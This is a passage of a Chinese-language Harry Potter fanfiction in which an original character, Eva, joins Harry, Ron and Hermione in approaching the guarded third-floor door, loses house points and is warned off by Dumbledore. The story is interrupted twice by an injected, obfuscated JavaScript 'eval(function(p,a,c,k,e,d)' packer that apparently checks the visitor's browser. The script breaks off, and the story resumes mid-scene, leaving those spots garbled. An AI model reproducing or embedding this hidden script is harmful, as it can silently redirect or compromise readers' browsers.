写到一半,她停下来,看着自己手中的紫杉木魔杖。在温暖的室内光线下,深色的杖身泛着幽暗的光泽,像沉睡的火山。 她想起万圣节那晚,对巨怪用的那个咒语。那不是标准的“速速禁锢”,更像是她自己的魔力混合了“炁”,在紧急情况下自发形成的东西。当时的感觉很模糊——像是两股力量在互相试探,最后勉强合作了一次。 爷爷说,力量要顺,不要逆。但如果两股力量本质上不同呢?一个来自血脉,一个来自修行;一个炽热冲动,一个沉静平和——要怎么让它们“顺”? 窗外的雪还在下。Eva看向窗外,塔楼高处的视野很开阔,能看见禁林边缘的树冠都变成了白色,黑湖的湖面结了薄薄的冰,在月光下泛着银光。 “还在写作业?” 秋·张的声音从身后传来。Eva转过头,看见秋抱着那条快织完的围巾走过来,在她旁边的扶手椅上坐下。 “嗯。”Eva说,“变形术论文。” “麦格教授那个?”秋笑了笑,“我去年也写过。建议你多引用《变形术原理》第三章的内容,她喜欢那个。” “谢谢。”Eva说。 秋开始织围巾,针脚比之前整齐多了。织了一会儿,她突然说:“你最近总是在想事情。” Eva没否认。 “因为哈利·波特的事?”秋轻声问,“我听到些传闻……关于他的疤痕,好像最近不太舒服。” Eva点点头:“他头疼。” 秋沉默了一会儿,织针在手中顿了顿:“我爸爸在古灵阁工作。他有时候会说起一些事……关于黑魔法物品的防护,关于那些‘不该被触动的东西’。”她顿了顿,“城堡里有些传言,说四楼禁区藏着什么重要的东西。” Eva抬起头。秋怎么突然提到四楼? “我只是想说,”秋的声音很温和,但很认真,“有些事情可能比我们想的更复杂。我们是学生,Eva。你只需要好好学□□安安就好。”她看着Eva,“我不想你卷进什么麻烦里。” Eva听懂了秋的意思——她在委婉地提醒她,不要涉足太深。 “我知道。”Eva说,“谢谢。” 秋笑了笑,继续织围巾。壁炉里的火跳了一下,爆出几颗火星。 那个晚上,Eva躺在床上很久没睡着。她听着窗外呼啸的风声,手指无意识地摸着腕上的玉佩。 玉佩温温的,像在回应她的触摸。 她想起斯内普教授那个眼神——他在确认什么?确认玉佩的来历?还是确认她是否知道些什么? 还有爷爷。爷爷为什么一定要她来霍格沃茨?真的只是“中英友谊的象征”吗?如果只是象征,为什么特意让她带上紫竹笔,为什么反复叮嘱“记住你是谁”? 太多问题,没有答案。 第二天是周六,没有课。Eva起床时,雪停了,天空是干净的淡蓝色。阳光照在雪地上,亮得刺眼。 早餐时,她看见哈利、罗恩和赫敏坐在一起,头凑得很近,正在激烈地讨论什么。赫敏手里拿着本厚书,一边说一边用手指敲着书页。 曼蒂在她旁边小声说:“他们好像在计划什么重要的事。”她的声音里带着关切——自从万圣节那晚并肩作战后,曼蒂和Eva之间有种默契的信任。 “大概吧。”Eva说,心里隐约猜到他们在讨论什么。 果然,早餐后赫敏匆匆走过来,压低声音:“我们需要谈谈。哈利有事要告诉你。” Eva跟着她走到走廊僻静处。哈利和罗恩已经等在那里,两人脸色都很严肃。 “我昨晚又做梦了,”哈利开门见山,“但这次不一样。我看见了……一扇门。一扇有三头犬看守的门。” 三头犬?Eva只在爷爷那些古老的线装书插画里,看到过类似的、守卫秘境或宝藏的多头异兽。那些图画总是伴随着“凶煞”、“镇守”、“非人力可敌”的注解。一个需要如此神话般生物来看守的东西……那门后的,绝不可能是普通物品。 “在四楼禁区?”她轻声问。 哈利点头,绿眼睛里满是困惑和不安:“我不知道为什么我会梦到这个。但梦里那种感觉……很真实。就好像我亲眼见过一样。” “也许你真的见过,”赫敏快速说,“在你不记得的时候。或者……”她犹豫了一下,“或者这道疤让你能‘感知’到一些东西。” 罗恩打了个寒颤:“听起来好邪门。” “我想去看看,”哈利说,声音很坚定,“就今天下午。只是确认一下,是不是真的有那扇门,还有……那只狗。” 赫敏立刻反对:“太危险了!邓布利多教授明令禁止靠近那里!用三头犬来看守,那扇门后面的东西得有多危险?我们根本对付不了!” “所以才要趁现在,”哈利说,“今天是周六,下午大部分学生都在外面玩雪。我们只需要远远看一眼,确认了就回来。” 他看向Eva:“我们需要多几个人。如果真出了什么事,至少有人能去叫教授。” Eva看着哈利——他眼下的阴影很深,那道疤痕比平时更明显。她能感觉到他的不安,那种被未知困扰的焦虑。 爷爷说,看清楚中间的线。有时候线不在安全的地方,而在危险边缘。 “好。”她听到自己说。 下午两点五十,Eva穿上最厚的斗篷,把魔杖插在外袋,玉佩贴在手腕内侧。她下楼时,曼蒂正在公共休息室看书。 “你要出去?”曼蒂抬起头。 “嗯。”Eva说,“很快回来。” 曼蒂看着她,欲言又止,最后只是说:“小心点。” Eva点点头,走向门环。今天的问题是:“什么东西你找它时它在远方,你转身时它在眼前?” “地平线。”她说。 门开了。她走下旋转楼梯,心跳得有点快。 四楼右边的走廊在城堡东侧,平时很少有人去。Eva到的时候,哈利、罗恩和赫敏已经在了,三个人紧贴着墙壁,脸色都很难看。 走廊尽头有一扇厚重的木门,关得严严实实。门缝里透出微弱的光,还有……低沉的、野兽般的呼吸声。 “听到了吗?”哈利小声说,绿眼睛盯着那扇门,“它在里面。” 罗恩咽了口唾沫:“我们真的要过去?” “只是看看,”赫敏说,但她的声音在发抖,“确认一下就走。” 他们沿着墙壁慢慢挪动,脚步轻得像猫。越靠近那扇门,空气里的魔法压力就越强——不是那种让人舒服的噼啪感,而是沉重、压抑,像有什么巨大的东西压在胸口。 突然,哈利猛地按住额头,倒吸一口冷气。 “哈利!”赫敏赶紧扶住他。 “疼……”哈利咬着牙,额头的疤痕红得发亮,“比之前都疼。” “我们不能再往前了,”罗恩紧张地说,“哈利撑不住。” 话音刚落,门后的呼吸声变了。从低沉的呼噜变成了警觉的、带着威胁的低吼。然后是爪子抓挠木门的声音——刺啦,刺啦,让人牙酸。 “它发现我们了。”罗恩的脸白得像纸。 “快走!”赫敏搀着哈利,转身就跑。 他们沿着来路狂奔,脚步声在空旷的走廊里回荡。门后的低吼变成了愤怒的咆哮,紧接着是沉重的撞击声——咚!咚!像是有什么巨大的东西在撞门。 Eva跑在最后,回头看了一眼——那扇厚重的木门在剧烈震动,门缝里透出的光忽明忽暗。 他们一直跑到三楼才停下来,靠在墙上大口喘气。罗恩的腿软得站不住,直接滑坐到地上。 “梅林啊……”他喃喃道,“那到底是什么?” “真的是三头犬……”赫敏的声音还在发抖,带着书呆子式的后怕,“《神奇动物在哪里》里提到过,这种生物极度危险,需要最高级别的管制……邓布利多教授用它来看守……” 她没说完,但所有人都明白了。用这样的怪物看守,门后的东西肯定是极其重要、也极其危险的。 哈利扶着墙,额头的疤痕还在发红,但疼痛似乎缓解了些。“越靠近那扇门越疼……”他喘着气说。 “我们得告诉教授,”赫敏快速说,“哈利这种情况不正常。疤痕和禁区里的东西有关联……这太危险了。” “告诉谁?”罗恩问,“斯内普?奇洛?还是……” “邓布利多,”哈利说,绿眼睛里闪着决绝的光,“直接告诉邓布利多。” 他们匆匆赶往校长办公室。路上几乎没说话,每个人的脑子里都在飞快地转动。 在走廊拐角处,他们差点撞上一个人——是斯内普教授。他黑袍翻滚地走来,看见四个气喘吁吁的一年级学生,眉头皱了起来。 “你们在干什么?”他的声音冷得像冰,“这个时候应该在公共休息室,或者在院子里。” “教授,”哈利上前一步,声音有些急,“我们需要见邓布利多教授。很重要的事。” 斯内普的黑眼睛扫过他们的脸,在哈利额头的疤痕上停留了一瞬——那里还泛着不正常的红。 “邓布利多教授不在学校,”斯内普慢条斯理地说,“他去伦敦参加国际巫师联合会会议,明天才回来。” 四个孩子的心同时沉了下去。 “那……麦格教授呢?”赫敏问。 “麦格教授在监督魁地奇训练,”斯内普说,“至于我……”他的嘴角勾起一个近乎讥讽的弧度,“如果你们有什么‘重要的事’,可以跟我说。当然,如果只是无聊的恶作剧……” “不是恶作剧,”哈利打断他,声音因为急切而有点冲,“是关于四楼禁区!那里有只三头犬,它在看守什么东西,而且……” 他突然停住了。因为斯内普教授的脸色变了。 不是惊讶,不是愤怒,而是一种深沉的、冰冷的了然。好像哈利说的每句话都在他预料之中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哈利点点头,和罗恩、赫敏一起垂头丧气地走向格兰芬多塔楼。 回到拉文克劳塔楼时,Eva的心跳得有点快。五十分——这在拉文克劳会引起怎样的反应? 鹰形门环的问题是:“什么东西最容易被忽略,却最重要?” “呼吸。”她说。 门开了。走进公共休息室时,她立刻感觉到了气氛的异样。 几个高年级学生围在学院分计沙漏旁,盯着那些迅速减少的蓝宝石,脸上写满了困惑和不满。学院分沙漏里的宝石已经明显少了一大截,在壁炉火光映照下格外刺眼。 “怎么回事?”一个七年级男生皱着眉头,“刚刚一下子少了五十分!” “有人被扣分了,”旁边的女生低声说,“而且是大分……” 罗伯特·希利亚德正站在沙漏旁,脸色严肃得可怕。看见Eva进来,他立刻走了过来。 “Eva,”他的声音压得很低,但能听出里面的怒火,“我需要一个解释。立刻。” 休息室里其他学生都看了过来,窃窃私语声像潮水一样蔓延开。 “五十分……” “一年级新生怎么会扣这么多?” “她做了什么?” Eva感觉到脸在发烫。她跟着罗伯特走到壁炉边的角落,那里相对安静一些。 “说吧,”罗伯特说,努力保持着冷静,“发生了什么事?为什么斯内普教授扣了拉文克劳五十分?” Eva深吸一口气,把事情经过简单说了一遍——他们去四楼禁区探险,哈利的疤痕剧痛,然后被斯内普教授抓住,省去了哈利的梦和三头犬。 她说完后,罗伯特沉默了很久。壁炉里的火噼啪作响。 “你们去了四楼禁区?”最后他说,声音里带着难以置信,“你们知不知道那是明令禁止的?” “知道,”Eva低声说,“但哈利……他的情况很特殊。” “那不是理由,”罗伯特打断她,语气严厉起来,“如果哈利有问题,应该告诉教授,而不是自己冒险去禁区。你们才一年级!而且Eva,你刚来霍格沃茨不久,你应该更谨慎才对。” Eva低下头,手指绞在一起。罗伯特说得对——她确实应该更谨慎。爷爷说过,看清楚中间的线,不是让你往线上踩。爸爸也说过,记住你是谁——她是张丽华,是中国外交官的女儿,是爷爷反复叮嘱要“站稳”的那个女孩。可她今天差点就站不稳了。 “对不起。”她说,声音里是真切的懊悔。 罗伯特叹了口气,表情稍微缓和了些:“你知道这五十分意味着什么吗?拉文克劳本来和斯莱特林的分数很接近,现在一下子拉开这么大差距……很多同学都在为学院杯努力。” 他顿了顿:“而且今晚弗立维教授会看到沙漏的变化。他一定会问的。” 就在这时,公共休息室的门开了,曼蒂匆匆走了进来。看到Eva和罗伯特站在一起,她立刻明白了怎么回事,快步走过来。 “罗伯特,不全是Eva的错,”曼蒂说,声音有些急,“她是去帮忙的。哈利·波特的情况真的很特殊……” “我知道,”罗伯特揉了揉太阳穴,“但规则就是规则。违反禁令靠近禁区,扣分是应该的。”他看向Eva,“我只是希望你们能明白,这种行为不仅危险,还会影响整个学院。” “她不是故意的,”曼蒂反驳道,声音坚定,“万圣节那晚她还救了人呢。” 罗伯特摆摆手:“现在说这些没用。扣分已经扣了,我们要做的是想办法挣回来。”他看向Eva,“期末快到了,各科作业和考试都是加分的机会。你……尽力而为吧。” “我会的。”Eva说,心里暗暗下定决心。这五十分,她一定要挣回来。 罗伯特点点头,转身走向其他学生,开始安抚大家的情绪。 曼蒂拉着Eva走到窗边坐下,压低声音:“你真的去了四楼禁区?” “嗯,”Eva说,“哈利的情况……比我们想的更糟。他的疤痕在靠近那扇门时疼得厉害。” 曼蒂的眉头皱了起来:“这太不正常了。那道疤……真的只是疤痕吗?” Eva摇摇头。她想起玉佩的安静——如果那里有真正的黑暗力量,玉佩应该会有反应。但玉佩什么反应都没有。 “我觉得四楼的东西,可能和哈利的身世有关,”Eva轻声说,“和那个晚上……他父母去世的晚上。” 曼蒂倒吸一口冷气:“你是说……神秘人?” “我不知道,”Eva说,“但肯定不简单。” 窗外,天色已经完全暗下来。雪花又开始飘落,在窗玻璃上融化成细细的水痕。 “你们打算怎么办?”曼蒂问。 “等邓布利多教授回来,把一切都告诉他,”Eva说,“让教授们处理。” “那就好,”曼蒂松了口气,“这是正确的做法。”她顿了顿,“只是这五十分……罗伯特说得对,你得想办法挣回来。变形术、魔咒课,这些你都学得不错,多争取课堂加分。” Eva点点头。她看着窗外飘落的雪花,心里那股“炁”轻轻流转,让她慢慢平静下来。 扣分已经发生了,后悔没有用。现在能做的,是吸取教训,向前看。 那天晚上,Eva很晚才睡。她坐在窗边,看着窗外的雪夜。月光照在雪地上,白得刺眼。 她拿出爷爷给的绢帛笔记,翻到最后几页——那些她之前没仔细看的小字。 “……见义勇为,非匹夫之勇。量力而行,非怯懦之辞。知可为而为,知不可为而不为,方为智勇……” 她小声念着,手指抚过那些汉字。 见义勇为,但要量力而行。 知可为而为,知不可为而不为。 她今天的行为,算是“可为”还是“不可为”? 帮助朋友是对的,但方式错了。应该告诉教授,而不是自己冒险。 窗外的风刮得更凶了,吹得窗玻璃嗡嗡响。远处禁林的树影在月光下摇晃,像无数只伸向天空的手。 Eva躺上床,把玉佩贴在胸口。温润的触感传来,慢慢驱散了心里的不安。 她闭上眼睛。 明天邓布利多教授就回来了。 明天,他们会把一切都告诉他。 然后,让大人们去处理。 至于扣掉的分——她会努力挣回来。 这是她现在能做的最好的事。 10. 在木门之后 圣诞节前最后一周,城堡里的空气像冻住的蜜糖,又稠又冷。 邓布利多教授回来的消息是第二天早餐时传开的。他走进礼堂,银白色的长胡子上还挂着细小的冰晶,蓝色长袍在晨光里闪着微光。他坐下时,麦格教授立刻凑过去,两人低声交谈起来。Eva注意到,麦格教授说话时表情很严肃,邓布利多听着听着,半月形眼镜后的蓝眼睛转向了格兰芬多长桌,在哈利身上停留了几秒。 哈利看起来一夜没睡好,眼下的阴影深得像淤青。他机械地往嘴里送着麦片粥,连伍德兴奋地说着圣诞假期后的训练计划都没听进去。 罗恩用手肘捅了捅他:“嘿,邓布利多回来了。” 哈利抬起头,绿眼睛对上校长温和的目光。他像是被烫到一样迅速移开视线,耳根有点发红。 “等会儿下课就去,”赫敏小声说,声音里透着紧绷,“我查了校长办公室的口令,这几天应该是‘柠檬雪宝’。费尔奇的公告板上写的。” 早餐后,第一节是魔咒课。弗立维教授今天教他们“修复咒”的进阶应用——修复有复杂花纹的瓷器。教室里乒乒乓乓响个不停,不时有学生把茶杯修成了碗,或者把花纹弄得更乱。 “集中精神,想象它完整时的样子!”弗立维教授站在他那摞书上喊,“不是‘大概’,要具体!” Eva面前放着一个青花瓷片,边缘参差不齐。她握住紫杉木魔杖,深吸一口气——那股热流涌上来,但这次她没让它冲得太猛,而是像爷爷教的,想象有一条细细的溪水,从胸口流到手臂,再到魔杖。 “恢复如初。” 魔杖尖涌出柔和的银光,光像蛛网一样包裹住瓷片。碎片们轻轻抖动,漂浮起来,一片一片拼合,青花图案在接口处完美衔接。最后一声轻响,一个完好的茶杯落在桌上,连釉面的光泽都恢复了。 “精彩!”弗立维教授飘过来,拿起茶杯仔细检查,“非常精准的控制力,张小姐!拉文克劳加十分!” 周围响起低低的赞叹声。Eva放下魔杖,手心有点汗湿。加十分——离补上那五十分还很远,但这是个开始。 下课时,弗立维教授叫住她:“张小姐,请留一下。” 其他学生陆续离开教室,Eva走到讲台前。弗立维教授站在书上,抬着头看她,浅色的眼睛里满是关切。 “我注意到昨晚学院分的变化,”他温和地说,“也听说了发生的事。”他顿了顿,“闯进禁区是非常危险的行为,作为教授,我必须说——扣分是应该的。” Eva低下头:“我知道,教授。” “但是,”弗立维教授的声音更柔和了,“罗伯特告诉我,你是为了帮助同学才去的。这不是为你的行为开脱,但我理解你的出发点。”他从书桌上拿起一沓羊皮纸,“这里有几篇高年级学生关于防护魔法的优秀论文。你似乎对这个课题很感兴趣,也许可以看看,作为……课外拓展。” Eva接过羊皮纸:“谢谢教授。” “记住,真正的勇气不是鲁莽,而是知道什么时候该行动,什么时候该寻求帮助。”弗立维教授看着她,“你还年轻,学得会这个。现在去吧,该上变形术课了。” 走出教室,Eva在走廊里碰到了秋·张。秋快步走过来,脸上带着那种温和但谨慎的表情,眉毛微微蹙起。 “我听说你的事了,”她压低声音,拉着Eva走到角落,“被扣了五十分……梅林啊,Eva,你在想什么?” Eva张了张嘴,但秋没给她解释的机会。 “听着,”秋的声音很轻,但很认真,“我知道你是想帮忙,但是——四楼禁区?那是明令禁止的。而且你想想,你在这里的身份……不太一样。”她斟酌着用词,“我们家在英国生活这么多年,我爸爸在古灵阁工作,他一直跟我说,要懂得看形势,要谨慎。有些事情,我们最好……保持距离。” 她顿了顿,眼神里是真切的担忧:“我不是说你做错了,只是……下次再有这种事,能不能先想想?为了帮朋友把自己搭进去,不值得。而且你要是真出了什么事,你父母、你爷爷得多担心啊?” 秋说这话时,语气里没有责备,只有那种年长一点的人对后辈的关照。Eva能感觉到,秋是真心为她好——用一种在英国长大的华裔孩子特有的、混合了谨慎和务实的方式。 “我记住了。”Eva轻声说。 秋拍拍她的肩膀,表情放松了些:“那就好。圣诞假期快到了,我们可以一起在城堡里过。到时候我教你下巫师棋,好不好?” “好。”Eva说。 变形术课上,麦格教授比平时更严厉。她把一块石头变成了一只活蹦乱跳的松鼠,然后要求每个学生至少要让石头长出毛。 “任何没有明显进展的人,课后留下来练习。”她的目光扫过教室,在哈利、罗恩、赫敏和Eva身上停得格外久,“尤其是那些最近把精力用在……违反校规上的人。如果你们能把冒险的心思花一半在功课上,我想进展会快得多。” 哈利的脸白了。他的石头只长出了几根稀疏的灰毛,像长了霉。麦格教授走过来,眉头皱得紧紧的。 “波特先生,我需要看到更多努力。你的心思显然不在课堂上。” “对不起,教授。”哈利小声说。 麦格教授看了他几秒,表情稍微缓和:“下课后去我办公室一趟。我们需要谈谈。” 哈利点点头,绿眼睛里闪过一丝不安。 下课时,哈利跟着麦格教授离开。赫敏和罗恩在门口焦急地等着,看见Eva出来,赫敏立刻走过来。 “我们约好了,下午两点在校长办公室外的石兽前碰头,”她快速说,语气里带着她特有的那种“计划通”的肯定,“口令是‘柠檬雪宝’,费尔奇通常会把本周口令贴在办公室的布告板角落里。哈利说麦格教授找他谈话,应该很快。” “好。”Eva说。 午饭时,礼堂里的气氛有点奇怪。拉文克劳长桌这边,有些高年级学生在看到Eva时低声议论。Eva安静地吃着她的土豆泥,曼蒂坐在她旁边,用身体挡住那些视线。 “别理他们,”曼蒂小声说,用勺子搅着自己的汤,“过两天就忘了。”她顿了顿,声音压得更低,“但是Eva……下次真的别这样了。我知道你是为了帮哈利,可是四楼禁区那里是什么情况,我们都不知道。万一出什么事呢?而且你想想,要是当时斯内普教授没出现,或者出现得更晚……” 她没说完,但Eva明白她的意思。虽然她们没具体说过门后是什么,但光“禁区”两个字就够危险了。万圣节那晚有惊无险,不代表每次都会那么幸运。 “我以后会更小心。”Eva说。 曼蒂点点头,表情放松了些:“那就好。对了,帕德玛说她妹妹昨天感冒了,她妈妈写信来让她周末提前一天回去照顾,所以明天下午她就走了。” Eva想起帕德玛确实提过这事。圣诞假期正式从下周开始,但有些家近的学生会提前一两天离校。 饭后,Eva回了一趟拉文克劳塔楼。她需要拿点东西——爷爷的绢帛笔记,还有那块玉佩。不知为什么,她觉得今天可能需要它们。 鹰形门环的问题是:“什么东西越黑暗,越能显出其价值?” “真话。”Eva说。 门开了。公共休息室里没什么人,大部分人都在外面玩雪或去图书馆了。她快步上楼,从枕头下取出笔记,又把玉佩小心地戴在内侧手腕上。 下楼时,罗伯特坐在壁炉边的扶手椅里看书。看到她,他抬起头。 “要去哪儿?”他问。 “图书馆。”Eva说。不完全算撒谎——他们确实会经过图书馆。 罗伯特看了她几秒,最后只是说:“记住时间。下午茶之前要回来,弗立维教授要开个短会,讨论圣诞留校的安排。” “知道了。”Eva说。 她走出塔楼时,雪又下起来了。细密的雪花从铅灰色的天空飘落,在城堡的窗玻璃上积了薄薄一层。走廊里很冷,火把的光在石墙上投下晃动的影子。 校长办公室在八楼。Eva走上旋转楼梯时,心跳得有点快。石兽所在的那个小平台空荡荡的,只有雪花从高处窗户飘进来,在地上化成一滩滩水渍。 她等了几分钟,哈利、罗恩和赫敏才匆匆赶来。哈利的脸有点红,像是刚跑过。 “麦格教授说什么了?”罗恩急切地问。 “她……她知道我们去禁区的事了,”哈利喘着气,“斯内普告诉她的。她把我叫去办公室,训了整整二十分钟。说我鲁莽、不负责任、拿自己和同学的生命冒险……”他揉了揉太阳穴,“但她最后说,邓布利多教授想见我们。四点,在他办公室。” “那现在呢?”赫敏问。 “我们可以先等着,”哈利说,“反正也没地方去。” 他们靠墙坐下。走廊里很安静,只有远处隐约传来的学生笑声和风雪呼啸的声音。Eva看着窗外飘落的雪花,手指无意识地摸着袖口里的玉佩。 大概过了半小时,石兽突然活了。它跳到一边,身后的墙壁旋转着打开,露出一道螺旋上升的石阶。邓布利多教授从上面走下来,看见四个孩子坐在墙边,半月形眼镜后的蓝眼睛闪了一下。 “啊,”他温和地说,“看来我的客人提前到了。进来吧,外面冷。” 他们跟着邓布利多走上旋转楼梯。校长办公室比Eva想象的要大,也更有趣。墙上挂满了历届校长的肖像,有些在打鼾,有些好奇地看着他们。细长腿的桌子上摆满了各种银器,旋转着喷出细细的烟雾。墙角栖着一只鲜红色的大鸟,正用喙梳理着羽毛——那是凤凰福克斯。 “请坐。”邓布利多指了指桌前的几把椅子,自己在桌子后面坐下。他双手交叉放在桌上,目光平静地扫过四个孩子的脸。 “麦格教授告诉我,你们遇到了一些……困扰。”他说,“关于四楼禁区,关于那扇被看守的门,还有,哈利,关于你的梦和头疼。” 哈利点点头,绿眼睛里满是紧张:“教授,那些梦……它们太真实了。我看见了那扇门,还有……某种很巨大的东西在里面。而且当我靠近那里时,这道疤……”他指了指额头,“疼得厉害。比平时疼得多。” 邓布利多的表情严肃起来。他起身走到哈利面前,俯身仔细查看那道疤痕。他的手指悬停在疤痕上方几英寸处,没有碰到皮肤,但哈利能感觉到一种温和的、探查性的魔力流过。 邓布利多直起身,走回座位,“哈利,你额上的印记,是一个非凡故事的见证。它提醒你,也提醒我们,爱留下的印记比任何黑暗魔法都要持久。至于它偶尔的……‘提醒’,是的,古老的城堡,古老的魔法,有时会与同样古老的印记产生我们尚不完全理解的共鸣。庞弗雷夫人的药会有所帮助,但更重要的是,”他顿了顿,“学会区分哪些是过去的回响,哪些是当下的警告。这需要时间和内心的平静。” 接着,他的目光温和地转向所有人:“至于这座城堡里的某些房间,某些防护……是的,霍格沃茨保管着一些古老的、强大的、也因此需要慎重对待的事物。它们被妥善地守护着,被比我更古老的魔法,以及值得完全信赖的看守者。” 他的语气里没有透露具体是什么,只强调了其重要性和现有的防护。 “你们所展现的,”他继续说,语气中带着一丝赞许,“是对朋友安危的关切,和将零碎信息联系起来的敏锐。这些都是非常可贵的品质。然而,”他的声音稍稍严肃了一些,蓝眼睛闪烁着不容置疑的光芒,“我必须非常明确地告诉你们:探索那些被明确禁止的区域,试图揭开那些被刻意隐藏的秘密,这不再是好奇,而是将自己——也可能会连带他人——置于不必要的巨大风险之中。” 他站起身,缓缓踱到窗前,望着窗外的夜色。“学生时代最伟大的冒险,应该是知识的获取,友谊的加深,和对自己内心力量的发现与锤炼。” 他转过身,目光扫过Eva,在她腕间玉佩和沉静的面容上停留了短暂的一瞬,眼神似乎更加幽深了一些。“有些力量,需要与之共处,而非对抗;有些道路,需要看清方向,而非急于踏足。” 他走回桌前,双手按在桌面上,身体微微前倾,语气是前所未有的郑重:“因此,我的要求——不,是作为校长的指令——非常明确:远离四楼右边的走廊。让教授们来履行看守的职责。如果你们察觉到任何真正的、迫在眉睫的危险迹象,可以来找我,或任何一位你们信任的教授。但在那之前,请把你们的勇气和智慧,用在课堂、球场和图书馆里。” 他直起身,语气恢复了一贯的温和:“现在,回去吧。厨房今天准备了热巧克力,我想你们需要一些甜食来驱散寒意。记住,在霍格沃茨,你们首要的任务是学习和成长,在安全的环境里。” 他们离开校长办公室时,外面的雪下得更大了。走廊里空无一人,火把的光在风雪中摇曳。 “所以邓布利多教授什么也没说清楚,”罗恩嘀咕道,“他还是没告诉我们那里面是什么,也没说斯内普到底在干什么。” “但他让我们远离禁区,这已经很明确了。”赫敏说,“而且他说哈利的疤是在‘提醒’他……这太诡异了。” 哈利没说话。他摸着额头上的疤痕,表情很复杂。 走到三楼时,他们碰到了斯内普教授。他刚从地下室上来,黑袍上还带着魔药教室的阴冷气息。看见四个孩子,他停下脚步,黑眼睛眯了起来。 “从校长办公室回来?”他的声音像冰面裂开。 “是的,教授。”哈利说。 斯内普的目光在他们脸上扫过,最后停在Eva身上:“张小姐,我记得我警告过你,要明白自己的……位置。” “我明白了,教授。”Eva说,这次是真的明白了。 斯内普盯着她看了几秒,像是在判断她话里的真假。然后他哼了一声,黑袍翻滚着从他们身边走过。 “他到底什么意思?”罗恩小声嘀咕。 Eva摇摇头。她也不知道。 就在他们即将拐向拉文克劳塔楼的方向时,一个拖长的、带着讥诮的声音从侧面的走廊传来: “哟,看看这是谁——我们大名鼎鼎的‘禁区观光团’。” 德拉科·马尔福从一根巨大的石柱后踱步而出,克拉布和高尔像两座移动小山般跟在他身后。他苍白的脸上挂着标志性的假笑。 哈利立刻绷紧了身体,罗恩则低声咒骂了一句。赫敏警惕地将手伸向袍子里的魔杖。 马尔福的目光轻蔑地扫过哈利三人,最终却带着一种饶有兴味的审视,落在了Eva脸上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好好享受你们的圣诞节吧,”他假笑着说,“希望假期结束后,还能看到你们……完整地坐在礼堂里。”他意有所指地瞥了一眼Eva,然后转身,带着克拉布和高尔大摇大摆地离开了。 走廊里安静了几秒。 “这个卑鄙的……”罗恩气得话都说不完整。 赫敏则脸色发白,她看向Eva:“他为什么总是针对你?还有那些话……好像在暗示什么。” Eva没有立刻回答。她看着马尔福消失的走廊拐角,那里只剩下一片晃动的阴影。他的话像细细的冰针,扎在皮肤上,不深,但留下清晰的寒意。 哈利看着她,绿眼睛里满是愧疚和不安:“Eva,对不起,我……” “不是你的错。”Eva轻声打断他。她低下头,整理了一下被风吹乱的袍子袖口,指尖触到玉佩温润的边缘,“他只是……在说他习惯说的话。” “我们回去吧,”她抬起头,对三个朋友笑了笑——笑容很淡,但很平静。 走到分岔路,Eva和三个朋友分开。 走廊里很冷,火把的光在石墙上投下晃动的影子。Eva将脸埋在高耸的衣领里,快步走着。经过一群穿着赫奇帕奇黄黑围巾的学生时,她清楚地听到其中一个女生压低了声音说:“……就是她,拉文克劳那个,一夜之间丢了五十分……”她的同伴发出吃惊的吸气声。Eva没有停下脚步,但手指在袖子里微微收紧了。 回到拉文克劳公共休息室门口时,鹰形门环罕见地沉默着——看来里面的人已经答完题进去了。她刚伸手推门,门却从里面开了。两个七年级的学长走了出来,正激烈地讨论着期末的古代如尼文论文。看到Eva,他们的谈话戛然而止。高个子的那位扫了她一眼,什么也没说,侧身走了过去。矮个子的学长犹豫了一下,最终也只是朝她几不可见地点了点头,眼神里带着一种复杂的、混合了失望与理解的沉默。 壁炉边,曼蒂和同年级的另一位拉文克劳女孩——面色苍白的莫拉格·麦克道格坐在一起。看到Eva,曼蒂立刻挪了挪位置,朝她招了招手。莫拉格抬起头,对Eva露出了一个有点紧张但善意的微笑,然后迅速低下头,假装继续研究她的天文图表。 公共休息室另一头,几个低年级学生好奇地朝这边张望,话题已经悄然从单纯的分数得失,转向了更符合学院特质的逻辑推演。 “……一次性扣五十分。根据《霍格沃茨,一段校史》里记载的典型扣分案例,这通常关联着夜间禁行、涉及危险区域,或者……对教职工的严重冒犯。” “关键是‘他们’看到了什么,或者说,试图去看什么。”另一个声音接上,带着研究谜题般的兴致,“四楼右边走廊一直是禁区,但从未有过如此严厉的集体处罚先例。这说明他们可能触及了某种新设立的、或者此前未被激活的防护核心。这本身就很有意思——是什么让那个区域的防护等级被提到了如此显著的程度?” “还有一种可能,”第三个声音更轻了,“他们的行为本身,触发了某种我们不知道的警报或监测魔法。这涉及到城堡防御体系的自动响应机制……” 这些逻辑严密的片段飘进Eva耳中。在拉文克劳,一次冒险引发的不仅是道德评判,更成了一场基于有限公开信息的、自发的逻辑推理会。同学们的兴趣点在于构建事件模型,而非传播八卦。但正是这种冷静的剖析,让她更清晰地意识到自己行为的“重量”,她成了一个需要被解码的“异常事件”。 当天晚上,拉文克劳公共休息室里,弗立维教授开了一个短会。他站在壁炉前,小小的个子在火光里投下长长的影子。 “圣诞假期从下周三开始,”他的尖嗓子很清晰,“留校的同学名单我已经有了。留校期间,公共休息室和图书馆会开放,但宵禁时间不变。任何违反校规的行为,假期期间同样会受到处罚。” 他的目光在Eva身上停留了一瞬:“同时,我要提醒大家——学院分很重要,但安全更重要。任何时候,都不要为了加分而冒险。” 散会后,秋·张找到Eva:“快放假了。你有什么计划?” “看书,写作业,”Eva说,“可能去图书馆。” “我们可以一起,”秋笑着说,“我带了巫师棋,你要是想学,我可以教你。” “好。”Eva说。秋的友善让她心里暖暖的。 睡前,她坐在窗边翻开爷爷的笔记。今天邓布利多的话还在耳边回响——真正的保护来自清醒的头脑和谨慎的判断。 她翻到之前看的那一页:“……知可为而为,知不可为而不为,方为智勇……” 窗外的雪夜里,霍格沃茨安静地矗立着。塔楼高处,风呼啸而过,但城堡里温暖而安全。 Eva摸着腕上的玉佩,温润的触感让人安心。 